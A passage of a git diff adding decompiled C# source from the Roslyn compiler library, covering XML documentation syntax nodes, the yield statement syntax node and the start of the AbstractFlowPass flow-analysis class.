SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlPrefixSyntax)(object)((SyntaxNode)this).Green).prefix, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ColonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlPrefixSyntax)(object)((SyntaxNode)this).Green).colonToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + internal XmlPrefixSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlPrefix(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlPrefix(this); + } + + public XmlPrefixSyntax Update(SyntaxToken prefix, SyntaxToken colonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (prefix != Prefix || colonToken != ColonToken) + { + XmlPrefixSyntax xmlPrefixSyntax = SyntaxFactory.XmlPrefix(prefix, colonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlPrefixSyntax; + } + return xmlPrefixSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlPrefixSyntax WithPrefix(SyntaxToken prefix) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(prefix, ColonToken); + } + + public XmlPrefixSyntax WithColonToken(SyntaxToken colonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(Prefix, colonToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlProcessingInstructionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlProcessingInstructionSyntax.cs new file mode 100644 index 0000000..eee1aa2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlProcessingInstructionSyntax.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlProcessingInstructionSyntax : XmlNodeSyntax +{ + private XmlNameSyntax? name; + + public SyntaxToken StartProcessingInstructionToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlProcessingInstructionSyntax)(object)((SyntaxNode)this).Green).startProcessingInstructionToken, ((SyntaxNode)this).Position, 0); + + public XmlNameSyntax Name => ((SyntaxNode)this).GetRed(ref name, 1); + + public SyntaxTokenList TextTokens + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(2); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + } + } + + public SyntaxToken EndProcessingInstructionToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlProcessingInstructionSyntax)(object)((SyntaxNode)this).Green).endProcessingInstructionToken, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + internal XmlProcessingInstructionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref name, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlProcessingInstruction(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlProcessingInstruction(this); + } + + public XmlProcessingInstructionSyntax Update(SyntaxToken startProcessingInstructionToken, XmlNameSyntax name, SyntaxTokenList textTokens, SyntaxToken endProcessingInstructionToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (startProcessingInstructionToken != StartProcessingInstructionToken || name != Name || textTokens != TextTokens || endProcessingInstructionToken != EndProcessingInstructionToken) + { + XmlProcessingInstructionSyntax xmlProcessingInstructionSyntax = SyntaxFactory.XmlProcessingInstruction(startProcessingInstructionToken, name, textTokens, endProcessingInstructionToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlProcessingInstructionSyntax; + } + return xmlProcessingInstructionSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlProcessingInstructionSyntax WithStartProcessingInstructionToken(SyntaxToken startProcessingInstructionToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(startProcessingInstructionToken, Name, TextTokens, EndProcessingInstructionToken); + } + + public XmlProcessingInstructionSyntax WithName(XmlNameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(StartProcessingInstructionToken, name, TextTokens, EndProcessingInstructionToken); + } + + public XmlProcessingInstructionSyntax WithTextTokens(SyntaxTokenList textTokens) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(StartProcessingInstructionToken, Name, textTokens, EndProcessingInstructionToken); + } + + public XmlProcessingInstructionSyntax WithEndProcessingInstructionToken(SyntaxToken endProcessingInstructionToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(StartProcessingInstructionToken, Name, TextTokens, endProcessingInstructionToken); + } + + public XmlProcessingInstructionSyntax AddTextTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList textTokens = TextTokens; + return WithTextTokens(((SyntaxTokenList)(ref textTokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextAttributeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextAttributeSyntax.cs new file mode 100644 index 0000000..44f4a05 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextAttributeSyntax.cs @@ -0,0 +1,170 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlTextAttributeSyntax : XmlAttributeSyntax +{ + private XmlNameSyntax? name; + + public override XmlNameSyntax Name => ((SyntaxNode)this).GetRedAtZero(ref name); + + public override SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlTextAttributeSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken StartQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlTextAttributeSyntax)(object)((SyntaxNode)this).Green).startQuoteToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxTokenList TextTokens + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(3); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public override SyntaxToken EndQuoteToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.XmlTextAttributeSyntax)(object)((SyntaxNode)this).Green).endQuoteToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal XmlTextAttributeSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRedAtZero(ref name); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 0) + { + return null; + } + return (SyntaxNode?)(object)name; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlTextAttribute(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlTextAttribute(this); + } + + public XmlTextAttributeSyntax Update(XmlNameSyntax name, SyntaxToken equalsToken, SyntaxToken startQuoteToken, SyntaxTokenList textTokens, SyntaxToken endQuoteToken) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (name != Name || equalsToken != EqualsToken || startQuoteToken != StartQuoteToken || textTokens != TextTokens || endQuoteToken != EndQuoteToken) + { + XmlTextAttributeSyntax xmlTextAttributeSyntax = SyntaxFactory.XmlTextAttribute(name, equalsToken, startQuoteToken, textTokens, endQuoteToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlTextAttributeSyntax; + } + return xmlTextAttributeSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override XmlAttributeSyntax WithNameCore(XmlNameSyntax name) + { + return WithName(name); + } + + public new XmlTextAttributeSyntax WithName(XmlNameSyntax name) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(name, EqualsToken, StartQuoteToken, TextTokens, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEqualsTokenCore(SyntaxToken equalsToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEqualsToken(equalsToken); + } + + public new XmlTextAttributeSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, equalsToken, StartQuoteToken, TextTokens, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithStartQuoteTokenCore(SyntaxToken startQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithStartQuoteToken(startQuoteToken); + } + + public new XmlTextAttributeSyntax WithStartQuoteToken(SyntaxToken startQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, startQuoteToken, TextTokens, EndQuoteToken); + } + + public XmlTextAttributeSyntax WithTextTokens(SyntaxTokenList textTokens) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, textTokens, EndQuoteToken); + } + + internal override XmlAttributeSyntax WithEndQuoteTokenCore(SyntaxToken endQuoteToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndQuoteToken(endQuoteToken); + } + + public new XmlTextAttributeSyntax WithEndQuoteToken(SyntaxToken endQuoteToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(Name, EqualsToken, StartQuoteToken, TextTokens, endQuoteToken); + } + + public XmlTextAttributeSyntax AddTextTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList textTokens = TextTokens; + return WithTextTokens(((SyntaxTokenList)(ref textTokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextSyntax.cs new file mode 100644 index 0000000..9b63cca --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/XmlTextSyntax.cs @@ -0,0 +1,81 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class XmlTextSyntax : XmlNodeSyntax +{ + public SyntaxTokenList TextTokens + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(0); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).Position, 0); + } + } + + internal XmlTextSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitXmlText(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitXmlText(this); + } + + public XmlTextSyntax Update(SyntaxTokenList textTokens) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (textTokens != TextTokens) + { + XmlTextSyntax xmlTextSyntax = SyntaxFactory.XmlText(textTokens); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return xmlTextSyntax; + } + return xmlTextSyntax.WithAnnotations(annotations); + } + return this; + } + + public XmlTextSyntax WithTextTokens(SyntaxTokenList textTokens) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(textTokens); + } + + public XmlTextSyntax AddTextTokens(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList textTokens = TextTokens; + return WithTextTokens(((SyntaxTokenList)(ref textTokens)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/YieldStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/YieldStatementSyntax.cs new file mode 100644 index 0000000..7542b16 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/YieldStatementSyntax.cs @@ -0,0 +1,156 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class YieldStatementSyntax : StatementSyntax +{ + private SyntaxNode? attributeLists; + + private ExpressionSyntax? expression; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public SyntaxToken YieldKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.YieldStatementSyntax)(object)((SyntaxNode)this).Green).yieldKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public SyntaxToken ReturnOrBreakKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.YieldStatementSyntax)(object)((SyntaxNode)this).Green).returnOrBreakKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public ExpressionSyntax? Expression => ((SyntaxNode)this).GetRed(ref expression, 3); + + public SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.YieldStatementSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public YieldStatementSyntax Update(SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken); + } + + internal YieldStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref expression, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitYieldStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitYieldStatement(this); + } + + public YieldStatementSyntax Update(SyntaxList attributeLists, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, ExpressionSyntax? expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || yieldKeyword != YieldKeyword || returnOrBreakKeyword != ReturnOrBreakKeyword || expression != Expression || semicolonToken != SemicolonToken) + { + YieldStatementSyntax yieldStatementSyntax = SyntaxFactory.YieldStatement(Kind(), attributeLists, yieldKeyword, returnOrBreakKeyword, expression, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return yieldStatementSyntax; + } + return yieldStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new YieldStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, YieldKeyword, ReturnOrBreakKeyword, Expression, SemicolonToken); + } + + public YieldStatementSyntax WithYieldKeyword(SyntaxToken yieldKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, yieldKeyword, ReturnOrBreakKeyword, Expression, SemicolonToken); + } + + public YieldStatementSyntax WithReturnOrBreakKeyword(SyntaxToken returnOrBreakKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, YieldKeyword, returnOrBreakKeyword, Expression, SemicolonToken); + } + + public YieldStatementSyntax WithExpression(ExpressionSyntax? expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, YieldKeyword, ReturnOrBreakKeyword, expression, SemicolonToken); + } + + public YieldStatementSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, YieldKeyword, ReturnOrBreakKeyword, Expression, semicolonToken); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new YieldStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractFlowPass.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractFlowPass.cs new file mode 100644 index 0000000..e600a29 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/AbstractFlowPass.cs @@ -0,0 +1,3670 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class AbstractFlowPass : BoundTreeVisitor where TLocalState : AbstractFlowPass.ILocalState where TLocalFunctionState : AbstractFlowPass.AbstractLocalFunctionState +{ + internal sealed class PendingBranch + { + public readonly BoundNode Branch; + + public bool IsConditionalState; + + public TLocalState State; + + public TLocalState StateWhenTrue; + + public TLocalState StateWhenFalse; + + public readonly LabelSymbol? Label; + + public PendingBranch(BoundNode branch, TLocalState state, LabelSymbol label, bool isConditionalState = false, TLocalState stateWhenTrue = default(TLocalState), TLocalState stateWhenFalse = default(TLocalState)) + { + Branch = branch; + State = state.Clone(); + IsConditionalState = isConditionalState; + if (isConditionalState) + { + StateWhenTrue = stateWhenTrue.Clone(); + StateWhenFalse = stateWhenFalse.Clone(); + } + Label = label; + } + } + + protected readonly struct SavedPending(PendingBranchesCollection pendingBranches, PooledHashSet labelsSeen) + { + public readonly PendingBranchesCollection PendingBranches = pendingBranches; + + public readonly PooledHashSet LabelsSeen = labelsSeen; + } + + internal interface ILocalState + { + bool Reachable { get; } + + TLocalState Clone(); + } + + internal sealed class PendingBranchesCollection + { + private ArrayBuilder _unlabeledBranches; + + private PooledDictionary>? _labeledBranches; + + internal PendingBranchesCollection() + { + _unlabeledBranches = ArrayBuilder.PendingBranch>.GetInstance(); + } + + internal void Free() + { + ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).Free(); + _unlabeledBranches = null; + FreeLabeledBranches(); + } + + internal void Clear() + { + ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).Clear(); + FreeLabeledBranches(); + } + + private void FreeLabeledBranches() + { + if (_labeledBranches == null) + { + return; + } + foreach (ArrayBuilder value in ((Dictionary>)(object)_labeledBranches).Values) + { + ((ArrayBuilder.PendingBranch>)(object)value).Free(); + } + ((PooledDictionary>.PendingBranch>>)(object)_labeledBranches).Free(); + _labeledBranches = null; + } + + internal ImmutableArray ToImmutable() + { + if (_labeledBranches != null) + { + return ImmutableArray.CreateRange(AsEnumerable()); + } + return ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).ToImmutable(); + } + + internal ArrayBuilder? GetAndRemoveBranches(LabelSymbol? label) + { + ArrayBuilder value; + if ((object)label == null) + { + if (((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).Count == 0) + { + value = null; + } + else + { + value = _unlabeledBranches; + _unlabeledBranches = ArrayBuilder.PendingBranch>.GetInstance(); + } + } + else if (_labeledBranches != null && ((Dictionary>)(object)_labeledBranches).TryGetValue(label, out value)) + { + ((Dictionary>)(object)_labeledBranches).Remove(label); + } + else + { + value = null; + } + return value; + } + + internal void Add(PendingBranch branch) + { + LabelSymbol label = branch.Label; + if ((object)label == null) + { + ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).Add((AbstractFlowPass.PendingBranch)(object)branch); + } + else + { + ((ArrayBuilder.PendingBranch>)(object)GetOrAddLabeledBranches(label)).Add((AbstractFlowPass.PendingBranch)(object)branch); + } + } + + internal void AddRange(PendingBranchesCollection collection) + { + ((ArrayBuilder.PendingBranch>)(object)_unlabeledBranches).AddRange((ArrayBuilder.PendingBranch>)(object)collection._unlabeledBranches); + if (collection._labeledBranches == null) + { + return; + } + foreach (KeyValuePair> item in (Dictionary>)(object)collection._labeledBranches) + { + ((ArrayBuilder.PendingBranch>)(object)GetOrAddLabeledBranches(item.Key)).AddRange((ArrayBuilder.PendingBranch>)(object)item.Value); + } + } + + private ArrayBuilder GetOrAddLabeledBranches(LabelSymbol label) + { + if (_labeledBranches == null) + { + _labeledBranches = PooledDictionary>.PendingBranch>>.GetInstance(); + } + if 